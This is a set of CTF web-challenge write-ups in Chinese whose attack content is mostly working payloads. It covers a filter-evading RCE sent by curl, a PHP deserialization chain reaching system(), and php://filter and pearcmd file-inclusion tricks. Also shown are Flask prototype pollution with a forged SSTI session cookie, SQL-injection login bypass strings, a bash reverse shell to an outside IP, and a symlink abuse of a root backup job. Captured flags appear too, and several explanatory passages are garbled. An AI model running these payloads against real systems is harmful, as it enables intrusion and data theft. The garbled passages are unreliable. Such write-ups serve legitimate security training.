Really_Ez_Rce
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];
if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}
if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}
curl -X POST 'http://27.25.151.198:45344/?Number[]=a' \
-d 'cmd=a=l;b=s$IFS/;$a$b'
or
cmd=a=l;b=s;$a$b /;
curl -X POST 'http://27.25.151.198:45344/?Number[]=a' \
-d 'cmd=a=ca;b=t;c=se;d=d;e=di;f=r;$a$b /$($e$f -1 / | $c$d -n 5p);'
cmd=a=l;b=s;$a$b /;c=s;d=ed;e=ca;f=t;$e$f /$($a$b / | $c$d -n 5p);
dir -1
:和ls -1
功能一样,会把目录中的内容按每行一个文件的形式列出来,并且默认按照字母顺序排序。sed -n 5p
:从输出结果里提取第五行,也就是第五个文件的名字。- Sed 支持一下几种地址类型:
1、 firststep5p 含义:从第二行开始匹配,隔 5 行匹配一次,即 2,7,12…….。
这两个单词的意思: first 指起始匹配行, step 指步长,例如: sed -n 2cat /$(...)
$(...)
:这是命令替换的语法,会先执行括号里的子命令,然后把执行结果替换到原命令中。cat /<文件名>
:读取根目录下对应文件的内容。
ez_php
[0 => $name]
:
0
是数组的数字键(索引)。
$name
是变量,作为数组对应键0
的值。等价于传统写法:
$arr = array(); $arr[0] = $name;
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
//echo "Go Go Go~ 出发喽!";
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
//echo "诗人我吃!";
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
//echo "Hongkafei";
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
//echo "What do you want to do?";
throw new Exception('What do you want to do?');//异常抛出,GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可
} else {
highlight_file(__FILE__);
}
?>
call_user_func_array(callable $callback, array $param_arr): mixed
$callback
:要调用的回调函数(如函数名、类方法、闭包等)。
$param_arr
:传递给回调函数的参数数组。// 示例1:调用普通函数 function sum($a, $b) { return $a + $b; } echo call_user_func_array('sum', [10, 20]); // 输出:30 // 示例2:调用类方法 class Math { public static function multiply($a, $b) { return $a * $b; } } echo call_user_func_array(['Math', 'multiply'], [5, 6]); // 输出:30
<?php
class GOGOGO{
public $dengchao;
}
class DouBao{
public $dao;
public $Dagongren=[1];
public $Bagongren=[0];
}
class HeiCaFei{
public $HongCaFei="system";
}
$a=new GOGOGO();
$b=new DouBao();
$c=new HeiCaFei();
$a->dengchao=$b;
$b->dao=[$c,"ls /"];
$payload=[$a,0];
echo serialize($payload);
#a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:1;i:0;}
在PHP的
call_user_func_array()
中,回调函数的格式有严格要求:call_user_func_array(callable $callback, array $args)
当
$callback
是数组形式时,PHP要求:
- 数组第一个元素必须是对象实例(用于调用方法)
- 数组第二个元素必须是字符串形式的方法名
$b->dao = [$c, "ls /"];
$c
是HeiCaFei
对象实例"ls /"
是方法名字符串- 当调用时相当于:
$c->{"ls /"}('诗人我吃!')
- 这会触发
HeiCaFei::__call("ls /", ['诗人我吃!'])
- 最终执行:
call_user_func_array("system", [0 => "ls /"])
→system("ls /")
data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:0;i:0;}
bin dev etc home lib media mnt ofl1111111111ove4g opt proc root run sbin srv sys tmp usr var
data=a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:0;i:0;}
flag{615af7a8-f6e4-47e9-a3e2-d3c1f498d017}
Watch
Go 1.20 filepath 漏洞(GO-2023-2185)
filepath 包无法识别带有??\ 前缀的路径为特殊路径。在 Windows 系统中,以??\ 开头的路径是 “根本地设备路径”,等效于以 ?\ 开头的路径 。带有??\ 前缀的路径可用于访问系统上的任意位置。例如,路径??\c:\x 等效于更常见的路径 c:\x 。
DeceptiFlag
将第二个隐藏框的display:none删了。然后第一个是xiyangyang,第二个是huitailang。
看一下代码
http://27.25.151.198:47543/tips.php?file=php://filter/convert.base64-encode/resource=tips.php
session_start();
// 为 PHP 7 添加 str_starts_with 函数兼容支持
if (!function_exists('str_starts_with')) {
function str_starts_with($haystack, $needle) {
return strpos($haystack, $needle) === 0;
}
}
if (!isset($_SESSION['verified']) || $_SESSION['verified'] !== true) {
header("Location: aicuo.php");
exit();
}
if (!isset($_GET['file'])) {
header('Location: ?file=flag');
exit();
}
$file = trim($_GET['file']);
if (preg_match('/\s/', $file)) {
die('Trying to use space huh?');
}
if (preg_match('/\.\./', $file)) {
die('Trying to include files from parent directory huh?');
}
if (preg_match('/^\//', $file) && !str_starts_with($file, 'php://filter')) {
die('Trying to include files from root directory huh?');
}
if (str_starts_with($file, 'php://filter')) {
$content = @file_get_contents($file);
if ($content === false) {
die('无法读取文件');
}
echo $content;
exit();
}
require_once $file . '.php';
http://27.25.151.198:47543/tips.php?file=php://filter/convert.base64-encode/resource=/proc/1/environ
flag{0d4fd8a6-5024-43de-a590-f27ca70565e3}
or
发现不能⽤php伪协议,也不能直接 / 开头和⽤ ../ ,但能⽤file协议 可以包含 pearcmd.php 来写⻢实现getshell 1 代码块 /tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/+test.php
芙宁娜的图片
Brainfuck/OoK加密解密 - Bugku CTF平台
https://ctf.bugku.com/tool/vigenere
(key在图片信息中)
奇怪的咖啡店
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你无法添加商品哦"
except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app.run(host="0.0.0.0",port=5014)
在
/add
路由中,合并操作的目标是add
函数(代码中merge(json_data, add)
)要修改
app.config['SECRET_KEY']
,我们需要通过属性链访问:add (函数) → __globals__ (模块全局变量) → app (Flask 实例) → config (配置字典) → SECRET_KEY
__init__
是类构造方法,与我们要访问的全局变量无关在
add
函数对象上:
add.__init__
存在(所有对象都有)但
add.__init__.__globals__
不存在(因为__init__
是方法,不是函数)尝试访问
add.__init__.__globals__
实际访问的是type(add).__init__.__globals__
(即类构造方法的全局变量),这不是我们需要的type(add).__init__.__globals__ # 这是类构造方法的全局变量
- 这个命名空间不包含 Flask `app` 实例 - 修改这里不会影响应用配置 ```json { "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": { "\u0061\u0070\u0070": { "\u0063\u006F\u006E\u0066\u0069\u0067": { "\u0053\u0045\u0043\u0052\u0045\u0054\u005F\u004B\u0045\u0059": "hack" } } }
import requests
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
# Flask 应用实例
app = Flask(__name__)
app.secret_key = "hack" # 设置应用的 secret_key
# 会话数据
session_data = {'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}
# 获取会话签名序列化器
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = session_serializer.dumps(session_data)
print("伪造的 session cookie:", cookie)
#伪造的 session cookie: .eJwdisEKAjEMBX9F3mkXZL37K1ZKl40SSJPSrKfSfzd6mxlmQEsl3FGOyoorGvXK7mwacQwneW05s_KZc8BbbC_if94_LCdryCMhntqsx5XwXBLME9atWSMNE7_cft6pHMs6J-YXPokqFg.aEfEYw.RwLFBiWD42THkrSjh8h9RXCJTyg
{"__globals__":{"app":{"_static_folder":"/"}}}
json_data = json.loads(raw_data)
{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u005F\u0073\u0074\u0061\u0074\u0069\u0063\u005F\u0066\u006F\u006C\u0064\u0065\u0072":"\u002F"}}}
Unicode编码后访问/static/proc/1/environ
即可
/static/app/app.py
或者
from flask import Flask, session, request, render_template_string, render_template
import json
import os
...
...
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"
if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'
upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"
def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True
# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)
def check1(value):
if is_automated_request():
print("Automated tool detected")
return True
# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True
return False
app.run(host="0.0.0.0",port=5014)
//污染
{"__globals__" : {"param_black_list" : ["123"]}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074" : ["123"]}}
半成品login
先admin,admin123登陆,再发现要以hacker****为用户名。发现password处可注入。
username=admin&password=-1%2527/**/||/**/1#
username=q&password=username=fake%2527/**/||/**/username/**/like/**/%2527hacker%%2527#
SELECT * FROM users WHERE username = '$input' AND password = '$password';
注入后变为:
SELECT * FROM users WHERE username = 'fake' OR username LIKE 'hacker%' #' AND password = '...';
'fake' OR username LIKE 'hacker%'
:通过OR
使条件恒真,可查询所有用户名以hacker
开头的用户。#
:注释掉后续的密码验证部分,绕过登录验证。
[WEB+RE]Just Ping Part 1
document.addEventListener('DOMContentLoaded', function() {
const targetInput = document.getElementById('targetInput');
const pingButton = document.getElementById('pingButton');
const stopButton = document.getElementById('stopButton');
const output = document.getElementById('output');
let controller = null;
// 自动滚动到底部
function scrollToBottom() {
output.scrollTop = output.scrollHeight;
}
// 清除输出
function clearOutput() {
output.textContent = '';
}
// 开始 ping
pingButton.addEventListener('click', async function() {
const target = targetInput.value.trim();
if (!target) {
alert('请输入有效的 IP 地址或域名');
return;
}
clearOutput();
pingButton.disabled = true;
stopButton.disabled = false;
targetInput.disabled = true;
// 使用 AbortController 来控制请求
controller = new AbortController();
const signal = controller.signal;
try {
const response = await fetch(`/api/ping?target=${encodeURIComponent(target)}`, {
signal
});
if (!response.ok) {
throw new Error(`请求失败: ${response.status}`);
}
const reader = response.body.getReader();
const decoder = new TextDecoder();
while (true) {
const { done, value } = await reader.read();
if (done) break;
const text = decoder.decode(value);
output.textContent += text;
scrollToBottom();
}
} catch (error) {
if (error.name !== 'AbortError') {
output.textContent += `\n错误: ${error.message}\n`;
scrollToBottom();
}
} finally {
pingButton.disabled = false;
stopButton.disabled = true;
targetInput.disabled = false;
controller = null;
}
});
// 停止 ping
stopButton.addEventListener('click', function() {
if (controller) {
controller.abort();
}
pingButton.disabled = false;
stopButton.disabled = true;
targetInput.disabled = false;
});
// 按回车键触发 ping
targetInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter' && !pingButton.disabled) {
pingButton.click();
}
});
});
// 测试开发API
document.getElementById('testApiButton').addEventListener('click', async function() {
const cmd = targetInput.value.trim();
if (!cmd) {
alert('请输入测试命令');
return;
}
clearOutput();
testApiButton.disabled = true;
targetInput.disabled = true;
try {
const response = await fetch(`/api/testDevelopApi?cmd=${encodeURIComponent(cmd)}`);
if (!response.ok) {
throw new Error(`请求失败: ${response.status}`);
}
const data = await response.text();
output.textContent = data;
scrollToBottom();
} catch (error) {
output.textContent = `错误: ${error.message}`;
scrollToBottom();
} finally {
testApiButton.disabled = false;
targetInput.disabled = false;
}
});
testDevelopApi 会 Pool Get 和 Pool Put,初始 Pool 中的为 Plain Text ping ,当⽤ /api/testDevelopApi
多次请求,把 Pool 中的对象全部⽤尽,ping 的时候就会使⽤之前传的对象
在经过偶然性的测试发现,在testDevelopApi
里输入的命令,到ping
里面会执行
这里就猜测,testDevelopApi
接收的命令会覆盖掉ping
里面的预置命令,这个命令就类似下面这种
exec.Command("ping","-c","4" ip)
可以发现两个api共享同⼀个命令字符串pool ,复⽤ 对象 在⽹⻚端可以看到调⽤ 这个 api 有回显,由于pool被复⽤,调⽤ 后,⽹⻚端点击开始, 的命令可能被 的 api 复⽤,进⽽被执⾏ cmd 限制四段参数,所以⽤ bash -c 绕过限制,反弹 shell
GET /api/testDevelopApi?cmd={{urlenc(bash -c 'bash -i >& /dev/tcp/47.104.232.51/7777 0>&1' >)}}
多发送⼏次请求后,⽹⻚点击 开始Ping
[WEB+RE]Just Ping Part 2
cd /usr/local/etc/
mkdir test
mv backup test
ln -s test/backup backup
echo '/root'>backupList
切换目录
cd /usr/local/etc/
- 切换到
/usr/local/etc/
目录(通常用于存放本地安装的程序配置文件)。创建目录
mkdir test
- 在当前目录下创建名为
test
的新目录。移动文件 / 目录
mv backup test
- 将当前目录下的
backup
文件(或目录)移动到test
目录中,变为test/backup
。- 若
backup
原本存在,会被移入test
目录;若不存在,此命令会报错。创建符号链接
ln -s test/backup backup
创建名为
backup
的符号链接(软链接),指向test/backup
。
- 此时,访问
backup
等同于访问test/backup
。写入文件
echo '/root'>backupList
- 将字符串
/root
写入到当前目录下的backupList
文件中(若文件不存在则创建,存在则覆盖)。
读取 中的⽂件路径,将对应⽂件备份到 中 ,可以看到 backupList etc ⽂件没有写权限,但是 路径下任意可读可写可执⾏ backup /usr/local/etc/next
那么可以将 移动到 ⽂件夹中 /usr/local/etc backup
并在 下创建 的符号链接,并创建 backup